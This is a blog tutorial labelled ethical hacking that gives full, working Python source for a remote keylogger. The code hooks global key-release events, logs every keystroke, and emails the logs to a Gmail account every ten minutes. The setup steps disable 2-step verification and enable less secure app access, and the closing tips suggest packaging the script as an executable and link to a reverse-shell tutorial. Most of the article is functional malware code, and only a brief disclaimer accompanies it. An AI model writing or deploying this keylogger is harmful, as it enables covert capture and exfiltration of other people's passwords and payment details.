How to Write a Keylogger in Python from Scratch

Writing and implementing a keylogger from scratch that records key strokes from keyboard and send them to email using Python and keyboard library.
Abdou Rockikz · 6 min read · Updated mar 2020 · Ethical Hacking


A keylogger is a type of surveillance technology used to monitor and record each keystroke typed on a specific computer's keyboard. In this tutorial, you will learn how to write a remote keylogger in Python.

You are maybe wondering, why a keylogger is useful ? Well, when a hacker (or a script kiddie) uses this for unethical purposes, he/she will register everything you type in the keyboard including your credentials (credit card numbers, passwords, etc.). The goal of this tutorial is to make you aware of these kind of scripts as well as learning how to implement such malicious scripts on your own for educational purposes, let's get started!

Related: How to Make a Port Scanner in Python using Socket Library.

First, we gonna need to install a module called keyboard, go to the terminal or the command prompt and write:

pip3 install keyboard

Basically, this module allows us to take full control of your keyboard, hook global events, register hotkeys, simulate key presses and much more, and it is very small module though.

So, here is what we gonna do:

  • Listen to keystrokes.
  • Add the character pressed to a global log variable.
  • Every N minutes, send all the key logs to an email (that is why I called it a remote keylogger).

Let us start by import the necessary modules:

import keyboard # for keylogs
import smtplib # for sending email using SMTP protocol (gmail)
# Semaphore is for blocking the current thread
# Timer is to make a method runs after an `interval` amount of time
from threading import Semaphore, Timer

So, as I said, we gonna need to create a new gmail account and make sure that:

  • Less secure app access is on (we need to enable it because we will log in using smtplib in Python).
  • 2-Step Verification is off.

Like it is shown in these two figures:

Enabling Less secure app access

Disabling 2-Step Verification

Now let's initialize our parameters:

SEND_REPORT_EVERY = 600 # 10 minutes
EMAIL_ADDRESS = "thisisafakegmail@gmail.com"
EMAIL_PASSWORD = "thisisafakepassword"

Note: You need to put correct gmail credentials, otherwise this won't work.

We are going to use Object-Oriented Programming in this example, so we are going to make a Keylogger class that contains methods for each task:

class Keylogger:
    def __init__(self, interval):
        # we gonna pass SEND_REPORT_EVERY to interval
        self.interval = interval
        # this is the string variable that contains the log of all 
        # the keystrokes within `self.interval`
        self.log = ""
        # for blocking after setting the on_release listener
        self.semaphore = Semaphore(0)

We have used a semaphore here, if you are not familiar with it, it isn't a problem, we gonna need it just for blocking the current thread (i.e the whole script).

Now, we gonna need to use keyboard's on_release() function that takes a callback that for every KEY_UP event (whenever you release a key in the keyboard), it will get called, this callback takes one parameter which is a KeyboardEvent that have the name attribute , let's implement it:

    def callback(self, event):
        """This callback is invoked whenever a keyboard event is occured
        (i.e when a key is released in this example)"""
        name = event.name
        if len(name) > 1:
            # not a character, special key (e.g ctrl, alt, etc.)
            # uppercase with []
            if name == "space":
                # " " instead of "space"
                name = " "
            elif name == "enter":
                # add a new line whenever an ENTER is pressed
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                # replace spaces with underscores
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
        self.log += name

So whenever a key is released, the button pressed is appended to self.log string variable.

Then we gonna need to implement the method that given a message (in this case, key logs), it sends it as an email (head to this tutorial for more information on how this is done):

    def sendmail(self, email, password, message):
        # manages a connection to the SMTP server
        server = smtplib.SMTP(host="smtp.gmail.com", port=587)
        # connect to the SMTP server as TLS mode ( for security )
        server.starttls()
        # login to the email account
        server.login(email, password)
        # send the actual message
        server.sendmail(email, email, message)
        # terminates the session
        server.quit()

The method that sends the email after every period of time:

    def report(self):
        """
        This function gets called every `self.interval`
        It basically sends keylogs and resets `self.log` variable
        """
        if self.log:
            # if there is something in log, report it
            self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
            # print(self.log)
        self.log = ""
        Timer(interval=self.interval, function=self.report).start()

So we are checking if the self.log variable got something (the user pressed something in that period), if it is the case, then send it to that email.

And then we passed the interval (in this tutorial, I've set it to 10 minutes or 600 seconds, feel free to adjust it on your needs) and the function self.report() to Timer() class, and then call the start() method immediately (since we don't need the object anyways).

This way, the method we just implemented sends keystrokes to as emails and calls itself recursively each self.interval seconds in separate threads.

Let's define the method that calls the on_release() method:

    def start(self):
        # start the keylogger
        keyboard.on_release(callback=self.callback)
        # start reporting the keylogs
        self.report()
        # block the current thread,
        # since on_release() doesn't block the current thread
        # if we don't block it, when we execute the program, nothing will happen
        # that is because on_release() will start the listener in a separate thread
        self.semaphore.acquire()

For more information about how to use keyboard module, check this tutorial.

We are basically done with the Keylogger class, all we need to do now is to instantiate this class we have just created:

if __name__ == "__main__":
    keylogger = Keylogger(interval=SEND_REPORT_EVERY)
    keylogger.start()

When you execute the script, it will record your keystrokes, after each 10 minutes, it will send all logs to the email, give it a try!

Check the full code here.

Here is what I got in my email after 10 minutes:

Keylogger results

This was actually what I've pressed in my personal keyboard that whole period !

Also, since no one will to execute a .py file, you can build this code into an executable using open source libraries such as Pyinstaller.

DISCLAIMER: Note that I'm not responsible for using this code on a computer you don't have permission to, use it at your own risk!

Read Also: How to Create a Reverse Shell in Python.

Happy Coding ♥

View Full Code
Sharing is caring!



Read Also





Comment panel

   
Comment system is still in Beta, if you find any bug, please consider contacting us here.